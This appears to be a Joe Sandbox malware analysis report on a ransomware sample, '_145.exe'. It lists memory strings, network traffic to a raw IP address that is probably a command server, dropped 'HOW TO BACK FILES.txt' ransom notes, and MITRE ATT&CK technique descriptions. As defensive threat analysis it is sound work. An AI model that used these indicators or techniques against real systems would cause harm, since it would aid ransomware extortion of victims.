Source: _145.exe, 00000000.00000003.2118543111.0000000000C71000.00000004.00000020.00020000.00000000.sdmp, _145.exe, 00000000.00000003.2107298089.0000000000C71000.00000004.00000020.00020000.00000000.sdmp, _145.exe, 00000000.00000003.2119295159.0000000000C71000.00000004.00000020.00020000.00000000.sdmp, _145.exe, 00000000.00000003.2115765687.0000000000C71000.00000004.00000020.00020000.00000000.sdmp, _145.exe, 00000000.00000003.2113220234.0000000000C71000.00000004.00000020.00020000.00000000.sdmp, _145.exe, 00000000.00000003.2108719872.0000000000C71000.00000004.00000020.00020000.00000000.sdmp, _145.exe, 00000000.00000003.2105465625.0000000000C71000.00000004.00000020.00020000.00000000.sdmp, _145.exe, 00000000.00000003.2122539513.0000000000C71000.00000004.00000020.00020000.00000000.sdmp, _145.exe, 00000000.00000003.2126414835.0000000000C71000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://91.215.85.142/RS
Source: _145.exe, 00000000.00000003.2119295159.0000000000C4B000.00000004.00000020.00020000.00000000.sdmp, _145.exe, 00000000.00000003.2115765687.0000000000C4B000.00000004.00000020.00020000.00000000.sdmp, _145.exe, 00000000.00000003.2105465625.0000000000C4B000.00000004.00000020.00020000.00000000.sdmp, _145.exe, 00000000.00000003.2113220234.0000000000C4B000.00000004.00000020.00020000.00000000.sdmp, _145.exe, 00000000.00000003.2107298089.0000000000C4B000.00000004.00000020.00020000.00000000.sdmp, _145.exe, 00000000.00000003.2122539513.0000000000C4B000.00000004.00000020.00020000.00000000.sdmp, _145.exe, 00000000.00000003.2126414835.0000000000C4B000.00000004.00000020.00020000.00000000.sdmp, _145.exe, 00000000.00000003.2108719872.0000000000C4B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://91.215.85.142/ows
Source: _145.exe, 00000000.00000003.2114682457.0000000000C7F000.00000004.00000020.00020000.00000000.sdmp, _145.exe, 00000000.00000003.2105465625.0000000000C7F000.00000004.00000020.00020000.00000000.sdmp, _145.exe, 00000000.00000003.2113220234.0000000000C7F000.00000004.00000020.00020000.00000000.sdmp, _145.exe, 00000000.00000003.2112753503.0000000000C7F000.00000004.00000020.00020000.00000000.sdmp, _145.exe, 00000000.00000003.2118543111.0000000000C7F000.00000004.00000020.00020000.00000000.sdmp, _145.exe, 00000000.00000003.2107298089.0000000000C7F000.00000004.00000020.00020000.00000000.sdmp, _145.exe, 00000000.00000003.2115765687.0000000000C7F000.00000004.00000020.00020000.00000000.sdmp, _145.exe, 00000000.00000003.2108719872.0000000000C7F000.00000004.00000020.00020000.00000000.sdmp, _145.exe, 00000000.00000003.2126414835.0000000000C7F000.00000004.00000020.00020000.00000000.sdmp, _145.exe, 00000000.00000003.2122539513.0000000000C7F000.00000004.00000020.00020000.00000000.sdmp, _145.exe, 00000000.00000003.2119295159.0000000000C7F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://api.ipify.org
Source: _145.exe, 00000000.00000003.2460052995.0000000004778000.00000004.00000020.00020000.00000000.sdmp, _145.exe, 00000000.00000003.2150813269.0000000004778000.00000004.00000020.00020000.00000000.sdmp, _145.exe, 00000000.00000003.2304552381.0000000004778000.00000004.00000020.00020000.00000000.sdmp, _145.exe, 00000000.00000003.2132952244.0000000004778000.00000004.00000020.00020000.00000000.sdmp, _145.exe, 00000000.00000003.2646935934.0000000004778000.00000004.00000020.00020000.00000000.sdmp, _145.exe, 00000000.00000003.3008853653.0000000004778000.00000004.00000020.00020000.00000000.sdmp, _145.exe, 00000000.00000003.2607320971.0000000004778000.00000004.00000020.00020000.00000000.sdmp, _145.exe, 00000000.00000003.2522280834.0000000004778000.00000004.00000020.00020000.00000000.sdmp, _145.exe, 00000000.00000003.2326143420.0000000004778000.00000004.00000020.00020000.00000000.sdmp, _145.exe, 00000000.00000003.3009346738.0000000004778000.00000004.00000020.00020000.00000000.sdmp, _145.exe, 00000000.00000003.2091710763.0000000004778000.00000004.00000020.00020000.00000000.sdmp, _145.exe, 00000000.00000003.2097131637.0000000004778000.00000004.00000020.00020000.00000000.sdmp, _145.exe, 00000000.00000003.2129239269.0000000004778000.00000004.00000020.00020000.00000000.sdmp, _145.exe, 00000000.00000003.2168018595.0000000004778000.00000004.00000020.00020000.00000000.sdmp, _145.exe, 00000000.00000003.3003938424.0000000004778000.00000004.00000020.00020000.00000000.sdmp, _145.exe, 00000000.00000003.2451530052.0000000004778000.00000004.00000020.00020000.00000000.sdmp, _145.exe, 00000000.00000003.2774775573.0000000004778000.00000004.00000020.00020000.00000000.sdmp, _145.exe, 00000000.00000003.2602497993.0000000004778000.00000004.00000020.00020000.00000000.sdmp, _145.exe, 00000000.00000003.2797784667.0000000004778000.00000004.00000020.00020000.00000000.sdmp, _145.exe, 00000000.00000003.2110584513.0000000004778000.00000004.00000020.00020000.00000000.sdmp, _145.exe, 00000000.00000003.2092082325.0000000004778000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://api.ipify.org/
Source: _145.exe, 00000000.00000003.2460052995.0000000004778000.00000004.00000020.00020000.00000000.sdmp, _145.exe, 00000000.00000003.2150813269.0000000004778000.00000004.00000020.00020000.00000000.sdmp, _145.exe, 00000000.00000003.2304552381.0000000004778000.00000004.00000020.00020000.00000000.sdmp, _145.exe, 00000000.00000003.2132952244.0000000004778000.00000004.00000020.00020000.00000000.sdmp, _145.exe, 00000000.00000003.2646935934.0000000004778000.00000004.00000020.00020000.00000000.sdmp, _145.exe, 00000000.00000003.3008853653.0000000004778000.00000004.00000020.00020000.00000000.sdmp, _145.exe, 00000000.00000003.2607320971.0000000004778000.00000004.00000020.00020000.00000000.sdmp, _145.exe, 00000000.00000003.2522280834.0000000004778000.00000004.00000020.00020000.00000000.sdmp, _145.exe, 00000000.00000003.2326143420.0000000004778000.00000004.00000020.00020000.00000000.sdmp, _145.exe, 00000000.00000003.3009346738.0000000004778000.00000004.00000020.00020000.00000000.sdmp, _145.exe, 00000000.00000003.2091710763.0000000004778000.00000004.00000020.00020000.00000000.sdmp, _145.exe, 00000000.00000003.2097131637.0000000004778000.00000004.00000020.00020000.00000000.sdmp, _145.exe, 00000000.00000003.2129239269.0000000004778000.00000004.00000020.00020000.00000000.sdmp, _145.exe, 00000000.00000003.2168018595.0000000004778000.00000004.00000020.00020000.00000000.sdmp, _145.exe, 00000000.00000003.3003938424.0000000004778000.00000004.00000020.00020000.00000000.sdmp, _145.exe, 00000000.00000003.2451530052.0000000004778000.00000004.00000020.00020000.00000000.sdmp, _145.exe, 00000000.00000003.2774775573.0000000004778000.00000004.00000020.00020000.00000000.sdmp, _145.exe, 00000000.00000003.2602497993.0000000004778000.00000004.00000020.00020000.00000000.sdmp, _145.exe, 00000000.00000003.2797784667.0000000004778000.00000004.00000020.00020000.00000000.sdmp, _145.exe, 00000000.00000003.2110584513.0000000004778000.00000004.00000020.00020000.00000000.sdmp, _145.exe, 00000000.00000003.2092082325.0000000004778000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://api.ipify.org/N
Source: _145.exe	String found in binary or memory: http://api.ipify.orgx32x64%s
Source: D4AAED77-3A86-4390-8A8C-B5376696441B.0.dr	String found in binary or memory: https://api.pJ;
Source: D4AAED77-3A86-4390-8A8C-B5376696441B.0.dr	String found in binary or memory: https://d.docs.live.net
Source: D4AAED77-3A86-4390-8A8C-B5376696441B.0.dr	String found in binary or memory: https://login.windows-ppe.net
Source: D4AAED77-3A86-4390-8A8C-B5376696441B.0.dr	String found in binary or memory: https://login.windows.net/common/oauth2/authorize
Source: D4AAED77-3A86-4390-8A8C-B5376696441B.0.dr	String found in binary or memory: https://petrol.offi;
Source: _145.exe, HOW TO BACK FILES.txt571.0.dr, HOW TO BACK FILES.txt661.0.dr, HOW TO BACK FILES.txt5.0.dr, HOW TO BACK FILES.txt974.0.dr, HOW TO BACK FILES.txt881.0.dr, HOW TO BACK FILES.txt13.0.dr, HOW TO BACK FILES.txt948.0.dr, HOW TO BACK FILES.txt624.0.dr, HOW TO BACK FILES.txt317.0.dr, HOW TO BACK FILES.txt323.0.dr, HOW TO BACK FILES.txt50.0.dr, HOW TO BACK FILES.txt366.0.dr, HOW TO BACK FILES.txt828.0.dr, HOW TO BACK FILES.txt169.0.dr, HOW TO BACK FILES.txt413.0.dr, HOW TO BACK FILES.txt882.0.dr, HOW TO BACK FILES.txt370.0.dr, HOW TO BACK FILES.txt307.0.dr, HOW TO BACK FILES.txt369.0.dr, HOW TO BACK FILES.txt773.0.dr	String found in binary or memory: https://www.torproject.org/download/

Source: C:\Users\user\Desktop\_145.exe	File opened: z:
Source: C:\Users\user\Desktop\_145.exe	File opened: x:
Source: C:\Users\user\Desktop\_145.exe	File opened: v:
Source: C:\Users\user\Desktop\_145.exe	File opened: t:
Source: C:\Users\user\Desktop\_145.exe	File opened: r:
Source: C:\Users\user\Desktop\_145.exe	File opened: p:
Source: C:\Users\user\Desktop\_145.exe	File opened: n:
Source: C:\Users\user\Desktop\_145.exe	File opened: l:
Source: C:\Users\user\Desktop\_145.exe	File opened: j:
Source: C:\Users\user\Desktop\_145.exe	File opened: h:
Source: C:\Users\user\Desktop\_145.exe	File opened: f:
Source: C:\Users\user\Desktop\_145.exe	File opened: d:
Source: C:\Users\user\Desktop\_145.exe	File opened: b:
Source: C:\Users\user\Desktop\_145.exe	File opened: y:
Source: C:\Users\user\Desktop\_145.exe	File opened: w:
Source: C:\Users\user\Desktop\_145.exe	File opened: u:
Source: C:\Users\user\Desktop\_145.exe	File opened: s:
Source: C:\Users\user\Desktop\_145.exe	File opened: q:
Source: C:\Users\user\Desktop\_145.exe	File opened: o:
Source: C:\Users\user\Desktop\_145.exe	File opened: m:
Source: C:\Users\user\Desktop\_145.exe	File opened: k:
Source: C:\Users\user\Desktop\_145.exe	File opened: i:
Source: C:\Users\user\Desktop\_145.exe	File opened: g:
Source: C:\Users\user\Desktop\_145.exe	File opened: e:
Source: C:\Users\user\Desktop\_145.exe	File opened: c:
Source: C:\Users\user\Desktop\_145.exe	File opened: a:

Source: unknown	DNS query: name: api.ipify.org
Source: unknown	DNS query: name: api.ipify.org
Source: unknown	DNS query: name: api.ipify.org

Source: unknown	TCP traffic detected without corresponding DNS query: 91.215.85.142
Source: unknown	TCP traffic detected without corresponding DNS query: 91.215.85.142
Source: unknown	TCP traffic detected without corresponding DNS query: 91.215.85.142
Source: unknown	TCP traffic detected without corresponding DNS query: 91.215.85.142
Source: unknown	TCP traffic detected without corresponding DNS query: 91.215.85.142
Source: unknown	TCP traffic detected without corresponding DNS query: 91.215.85.142
Source: unknown	TCP traffic detected without corresponding DNS query: 91.215.85.142
Source: unknown	TCP traffic detected without corresponding DNS query: 91.215.85.142
Source: unknown	TCP traffic detected without corresponding DNS query: 91.215.85.142
Source: unknown	TCP traffic detected without corresponding DNS query: 91.215.85.142
Source: unknown	TCP traffic detected without corresponding DNS query: 91.215.85.142
Source: unknown	TCP traffic detected without corresponding DNS query: 91.215.85.142
Source: unknown	TCP traffic detected without corresponding DNS query: 91.215.85.142
Source: unknown	TCP traffic detected without corresponding DNS query: 91.215.85.142
Source: unknown	TCP traffic detected without corresponding DNS query: 91.215.85.142
Source: unknown	TCP traffic detected without corresponding DNS query: 91.215.85.142
Source: unknown	TCP traffic detected without corresponding DNS query: 91.215.85.142
Source: unknown	TCP traffic detected without corresponding DNS query: 91.215.85.142
Source: unknown	TCP traffic detected without corresponding DNS query: 91.215.85.142
Source: unknown	TCP traffic detected without corresponding DNS query: 91.215.85.142
Source: unknown	TCP traffic detected without corresponding DNS query: 91.215.85.142
Source: unknown	TCP traffic detected without corresponding DNS query: 91.215.85.142
Source: unknown	TCP traffic detected without corresponding DNS query: 91.215.85.142
Source: unknown	TCP traffic detected without corresponding DNS query: 91.215.85.142
Source: unknown	TCP traffic detected without corresponding DNS query: 91.215.85.142
Source: unknown	TCP traffic detected without corresponding DNS query: 91.215.85.142
Source: unknown	TCP traffic detected without corresponding DNS query: 91.215.85.142
Source: unknown	TCP traffic detected without corresponding DNS query: 91.215.85.142
Source: unknown	TCP traffic detected without corresponding DNS query: 91.215.85.142
Source: unknown	TCP traffic detected without corresponding DNS query: 91.215.85.142
Source: unknown	TCP traffic detected without corresponding DNS query: 91.215.85.142
Source: unknown	TCP traffic detected without corresponding DNS query: 91.215.85.142
Source: unknown	TCP traffic detected without corresponding DNS query: 91.215.85.142
Source: unknown	TCP traffic detected without corresponding DNS query: 91.215.85.142
Source: unknown	TCP traffic detected without corresponding DNS query: 91.215.85.142
Source: unknown	TCP traffic detected without corresponding DNS query: 91.215.85.142
Source: unknown	TCP traffic detected without corresponding DNS query: 91.215.85.142
Source: unknown	TCP traffic detected without corresponding DNS query: 91.215.85.142
Source: unknown	TCP traffic detected without corresponding DNS query: 91.215.85.142
Source: unknown	TCP traffic detected without corresponding DNS query: 91.215.85.142
Source: unknown	TCP traffic detected without corresponding DNS query: 91.215.85.142
Source: unknown	TCP traffic detected without corresponding DNS query: 91.215.85.142
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1

Description:	Adversaries may move onto systems, possibly those on disconnected or air-gapped networks, by copying malware to removable media and taking advantage of Autorun features when the media is inserted into a system and executes. In the case of Lateral Movement, this may occur through modification of executable files stored on removable media or by copying malware and renaming it to look like a legitimate file to trick users into executing it on a separate system. In the case of Initial Access, this may occur through manual manipulation of the media, modification of systems used to initially format the media, or modification to the media's firmware itself.
Tactics:	Initial Access, Lateral Movement
Data Sources:	Data loss prevention, File monitoring
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	PowerShell logs, Process command-line parameters, Process monitoring, Windows event logs
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse the Windows service control manager to execute malicious commands or payloads. The Windows service control manager ( `services.exe` ) is an interface to manage and manipulate services.The service control manager is accessible to users via GUI components as well as system utilities such as `sc.exe` and Net .
Tactics:	Execution
Data Sources:	Process command-line parameters, Process monitoring, Windows Registry
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may create or modify Windows services to repeatedly execute malicious payloads as part of persistence. When Windows boots up, it starts programs or applications called services that perform background system functions.Windows service configuration information, including the file path to the service's executable or recovery programs/commands, is stored in the Windows Registry. Service configurations can be modified using utilities such as sc.exe and Reg .
Tactics:	Persistence, Privilege Escalation
Data Sources:	API monitoring, File monitoring, Process command-line parameters, Process monitoring, Windows Registry, Windows event logs
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use bootkits to persist on systems. Bootkits reside at a layer below the operating system and may make it difficult to perform full remediation unless an organization suspects one was used and can act accordingly.
Tactics:	Defense Evasion, Persistence
Data Sources:	API monitoring, MBR, VBR
Platforms:	Linux, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	API monitoring, DLL monitoring, File monitoring, Named Pipes, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata, File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may set files and directories to be hidden to evade detection mechanisms. To prevent normal users from accidentally changing special files on a system, most operating systems have the concept of a ‘hidden’ file. These files don’t show up when a user browses the file system with a GUI or when using normal commands on the command line. Users must explicitly ask to show the hidden files either via a series of Graphical User Interface (GUI) prompts or with command line switches ( `dir /a` for Windows and `ls –a` for Linux and macOS).
Tactics:	Defense Evasion
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may delete files left behind by the actions of their intrusion activity. Malware, tools, or other non-native files dropped or created on a system by an adversary may leave traces to indicate to what was done within a network and how. Removal of these files can occur during an intrusion, or as part of a post-intrusion process to minimize the adversary's footprint.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata, File monitoring, Process command-line parameters
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use methods of capturing user input to obtain credentials or collect information. During normal system usage, users often provide credentials to various different locations, such as login pages/portals or system dialog boxes. Input capture mechanisms may be transparent to the user (e.g. Credential API Hooking ) or rely on deceiving the user into providing input into what they believe to be a genuine service (e.g. Web Portal Capture ).
Tactics:	Collection, Credential Access
Data Sources:	API monitoring, Binary file metadata, DLL monitoring, Kernel drivers, Loaded DLLs, PowerShell logs, Process command-line parameters, Process monitoring, User interface, Windows Registry, Windows event logs
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may look for folders and drives shared on remote systems as a means of identifying sources of information to gather as a precursor for Collection and to identify potential systems of interest for Lateral Movement. Networks often contain shared network drives and folders that enable users to access file directories on various systems across a network.
Tactics:	Discovery
Data Sources:	Network protocol analysis, Process command-line parameters, Process monitoring, Process use of network
Platforms:	AWS, Azure, GCP, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	AWS CloudTrail logs, Azure activity logs, File monitoring, Process command-line parameters, Process monitoring, Stackdriver logs
Platforms:	AWS, Azure, Azure AD, GCP, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	API monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to gather information about attached peripheral devices and components connected to a computer system. Peripheral devices could include auxiliary resources that support a variety of functionalities such as keyboards, printers, cameras, smart card readers, or removable storage. The information may be used to enhance their awareness of the system and network environment or may be used for further actions.
Tactics:	Discovery
Data Sources:	API monitoring, PowerShell logs, Process command-line parameters, Process monitoring
Platforms:	macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may look for details about the network configuration and settings of systems they access or through information discovery of remote systems. Several operating system administration utilities exist that can be used to gather this information. Examples include Arp , ipconfig / ifconfig , nbtstat , and route .
Tactics:	Discovery
Data Sources:	Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report _145.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

Memory Dumps

Sigma Signatures

Snort Signatures

Joe Sandbox Signatures

AV Detection

Compliance

Spreading

Networking

Key, Mouse, Clipboard, Microphone and Screen Capturing

Spam, unwanted Advertisements and Ransom Demands

System Summary

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

(copy)

C:\$Recycle.Bin\HOW TO BACK FILES.txt

C:\$Recycle.Bin\S-1-5-21-2246122658-3693405117-2476756634-1000\HOW TO BACK FILES.txt

C:\$Recycle.Bin\S-1-5-21-2246122658-3693405117-2476756634-1001\HOW TO BACK FILES.txt

C:\$Recycle.Bin\S-1-5-21-2246122658-3693405117-2476756634-1002\HOW TO BACK FILES.txt

C:\$Recycle.Bin\S-1-5-21-2246122658-3693405117-2476756634-1003\HOW TO BACK FILES.txt

C:\$WinREAgent\HOW TO BACK FILES.txt

C:\EFI\HOW TO BACK FILES.txt

C:\EFI\Microsoft\HOW TO BACK FILES.txt

C:\EFI\Microsoft\Recovery\BCD

C:\EFI\Microsoft\Recovery\BCD.LOG

C:\EFI\Microsoft\Recovery\HOW TO BACK FILES.txt

C:\HOW TO BACK FILES.txt

C:\Program Files (x86)\HOW TO BACK FILES.txt

C:\Program Files (x86)\Java\jre-1.8\lib\deploy\ffjcext.zip

C:\Program Files (x86)\MSBuild\Microsoft\Windows Workflow Foundation\v3.5\HOW TO BACK FILES.txt

C:\Program Files (x86)\Microsoft Office\root\Office16\Microsoft.Lync.Model.zip

Windows Analysis Report
_145.exe

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	AWS CloudTrail logs, Azure activity logs, Process command-line parameters, Process monitoring, Stackdriver logs
Platforms:	AWS, Azure, GCP, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Files may be copied from an external adversary controlled system through the command and control channel to bring tools into the victim network or through alternate protocols with another tool such as FTP. Files can also be copied over on Mac and Linux with native tools like scp, rsync, and sftp.
Tactics:	Command and Control
Data Sources:	File monitoring, Netflow/Enclave netflow, Network protocol analysis, Packet capture, Process command-line parameters, Process monitoring, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use a non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Host network interface, Netflow/Enclave netflow, Network intrusion detection system, Network protocol analysis, Packet capture, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	DNS records, Netflow/Enclave netflow, Network protocol analysis, Packet capture, Process monitoring, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may encrypt data on target systems or on large numbers of systems in a network to interrupt availability to system and network resources. They can attempt to render stored data inaccessible by encrypting files or data on local and remote drives and withholding access to a decryption key. This may be done in order to extract monetary compensation from a victim in exchange for decryption or a decryption key (ransomware) or to render data permanently inaccessible in cases where the key is not saved or transmitted.In the case of ransomware, it is typical that common user files like Office documents, PDFs, images, videos, audio, text, and source code files will be encrypted. In some cases, adversaries may encrypt critical system files, disk partitions, and the MBR.
Tactics:	Impact
Data Sources:	File monitoring, Kernel drivers, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may delete or remove built-in operating system data and turn off services designed to aid in the recovery of a corrupted system to prevent recovery.Operating systems may contain features that can help fix corrupted systems, such as a backup catalog, volume shadow copies, and automatic repair features. Adversaries may disable or delete system recovery features to augment the effects of Data Destruction and Data Encrypted for Impact .
Tactics:	Impact
Data Sources:	Process command-line parameters, Process monitoring, Services, Windows Registry, Windows event logs
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre